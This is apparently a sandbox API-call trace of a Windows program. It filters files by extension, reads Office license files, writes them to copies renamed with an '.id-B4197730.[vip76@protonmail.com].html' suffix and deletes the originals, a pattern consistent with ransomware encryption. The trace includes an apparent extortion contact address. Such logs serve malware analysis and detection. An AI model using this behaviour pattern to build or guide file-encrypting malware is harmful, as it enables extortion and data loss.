	[0201.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.000] lstrlenW (lpString=".doc") returned 4
	[0201.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.000] lstrlenW (lpString=".docx") returned 5
	[0201.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.000] lstrlenW (lpString=".pdf") returned 4
	[0201.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.000] lstrlenW (lpString=".xls") returned 4
	[0201.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.000] lstrlenW (lpString=".xlsx") returned 5
	[0201.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.000] lstrlenW (lpString=".ppt") returned 4
	[0201.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.000] lstrlenW (lpString=".zip") returned 4
	[0201.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.000] lstrlenW (lpString=".rar") returned 4
	[0201.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString=".bz2") returned 4
	[0201.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString=".7z") returned 3
	[0201.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.001] lstrlenW (lpString=".dbf") returned 4
	[0201.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.001] lstrlenW (lpString=".1cd") returned 4
	[0201.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.001] lstrlenW (lpString=".jpg") returned 4
	[0201.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.001] lstrlenW (lpString=".doc") returned 4
	[0201.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString=".docx") returned 5
	[0201.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.001] lstrlenW (lpString=".pdf") returned 4
	[0201.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString=".xls") returned 4
	[0201.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString=".xlsx") returned 5
	[0201.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.001] lstrlenW (lpString=".ppt") returned 4
	[0201.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.001] lstrlenW (lpString=".zip") returned 4
	[0201.002] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.002] lstrlenW (lpString=".rar") returned 4
	[0201.002] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.002] lstrlenW (lpString=".bz2") returned 4
	[0201.002] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.002] lstrlenW (lpString=".7z") returned 3
	[0201.002] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.002] lstrlenW (lpString=".dbf") returned 4
	[0201.002] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.002] lstrlenW (lpString=".1cd") returned 4
	[0201.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0201.002] lstrlenW (lpString=".jpg") returned 4
	[0201.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.002] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.002] lstrlenW (lpString="O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 36
	[0201.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.003] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11630) returned 1
	[0201.003] CloseHandle (hObject=0x594) returned 1
	[0201.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 0x220
	[0201.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.004] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.004] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0201.005] GetLastError () returned 0x0
	[0201.005] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0201.387] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0201.585] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.585] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0201.585] SetEndOfFile (hFile=0x500) returned 1
	[0201.826] CloseHandle (hObject=0x500) returned 1
	[0201.826] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.826] SetEndOfFile (hFile=0x594) returned 1
	[0201.833] CloseHandle (hObject=0x594) returned 1
	[0201.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 1
	[0201.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.835] lstrlenW (lpString=".doc") returned 4
	[0201.835] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString=".docx") returned 5
	[0201.835] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.835] lstrlenW (lpString=".pdf") returned 4
	[0201.835] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString=".xls") returned 4
	[0201.835] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString=".xlsx") returned 5
	[0201.835] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.835] lstrlenW (lpString=".ppt") returned 4
	[0201.835] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.835] lstrlenW (lpString=".zip") returned 4
	[0201.835] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString=".rar") returned 4
	[0201.835] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString=".bz2") returned 4
	[0201.835] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString=".7z") returned 3
	[0201.835] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.835] lstrlenW (lpString=".dbf") returned 4
	[0201.835] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.835] lstrlenW (lpString=".1cd") returned 4
	[0201.835] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.835] lstrlenW (lpString=".jpg") returned 4
	[0201.835] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.836] lstrlenW (lpString=".doc") returned 4
	[0201.836] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.836] lstrlenW (lpString=".docx") returned 5
	[0201.836] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.836] lstrlenW (lpString=".pdf") returned 4
	[0201.836] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.836] lstrlenW (lpString=".xls") returned 4
	[0201.836] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.836] lstrlenW (lpString=".xlsx") returned 5
	[0201.836] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.836] lstrlenW (lpString=".ppt") returned 4
	[0201.836] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.836] lstrlenW (lpString=".zip") returned 4
	[0201.836] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.836] lstrlenW (lpString=".rar") returned 4
	[0201.836] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.836] lstrlenW (lpString=".bz2") returned 4
	[0201.836] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.836] lstrlenW (lpString=".7z") returned 3
	[0201.836] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.836] lstrlenW (lpString=".dbf") returned 4
	[0201.837] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.837] lstrlenW (lpString=".1cd") returned 4
	[0201.837] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0201.837] lstrlenW (lpString=".jpg") returned 4
	[0201.837] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.837] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.837] lstrlenW (lpString="O365HomePremR_SubTrial3-ppd.xrm-ms") returned 34
	[0201.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.838] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=23135) returned 1
	[0201.838] CloseHandle (hObject=0x594) returned 1
	[0201.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 0x220
	[0201.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.839] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.839] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0201.840] GetLastError () returned 0x0
	[0201.841] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0201.844] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0201.845] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.845] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x118, lpOverlapped=0x0) returned 1
	[0201.845] SetEndOfFile (hFile=0x500) returned 1
	[0201.845] CloseHandle (hObject=0x500) returned 1
	[0201.845] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.845] SetEndOfFile (hFile=0x594) returned 1
	[0201.849] CloseHandle (hObject=0x594) returned 1
	[0201.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 1
	[0201.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.851] lstrlenW (lpString=".doc") returned 4
	[0201.851] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.851] lstrlenW (lpString=".docx") returned 5
	[0201.851] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.851] lstrlenW (lpString=".pdf") returned 4
	[0201.851] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.851] lstrlenW (lpString=".xls") returned 4
	[0201.851] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.851] lstrlenW (lpString=".xlsx") returned 5
	[0201.851] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.851] lstrlenW (lpString=".ppt") returned 4
	[0201.851] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.851] lstrlenW (lpString=".zip") returned 4
	[0201.851] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.851] lstrlenW (lpString=".rar") returned 4
	[0201.851] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.851] lstrlenW (lpString=".bz2") returned 4
	[0201.851] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.851] lstrlenW (lpString=".7z") returned 3
	[0201.851] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.851] lstrlenW (lpString=".dbf") returned 4
	[0201.852] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.852] lstrlenW (lpString=".1cd") returned 4
	[0201.852] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.852] lstrlenW (lpString=".jpg") returned 4
	[0201.852] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.852] lstrlenW (lpString=".doc") returned 4
	[0201.852] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.852] lstrlenW (lpString=".docx") returned 5
	[0201.852] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.852] lstrlenW (lpString=".pdf") returned 4
	[0201.852] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.852] lstrlenW (lpString=".xls") returned 4
	[0201.852] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.852] lstrlenW (lpString=".xlsx") returned 5
	[0201.852] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.853] lstrlenW (lpString=".ppt") returned 4
	[0201.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.853] lstrlenW (lpString=".zip") returned 4
	[0201.853] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.853] lstrlenW (lpString=".rar") returned 4
	[0201.853] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.853] lstrlenW (lpString=".bz2") returned 4
	[0201.853] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.853] lstrlenW (lpString=".7z") returned 3
	[0201.853] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.853] lstrlenW (lpString=".dbf") returned 4
	[0201.853] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.853] lstrlenW (lpString=".1cd") returned 4
	[0201.853] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0201.853] lstrlenW (lpString=".jpg") returned 4
	[0201.853] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.853] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.853] lstrlenW (lpString="O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 37
	[0201.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.854] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11635) returned 1
	[0201.854] CloseHandle (hObject=0x594) returned 1
	[0201.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 0x220
	[0201.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.855] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.855] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0201.856] GetLastError () returned 0x0
	[0201.856] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0201.859] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0201.860] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
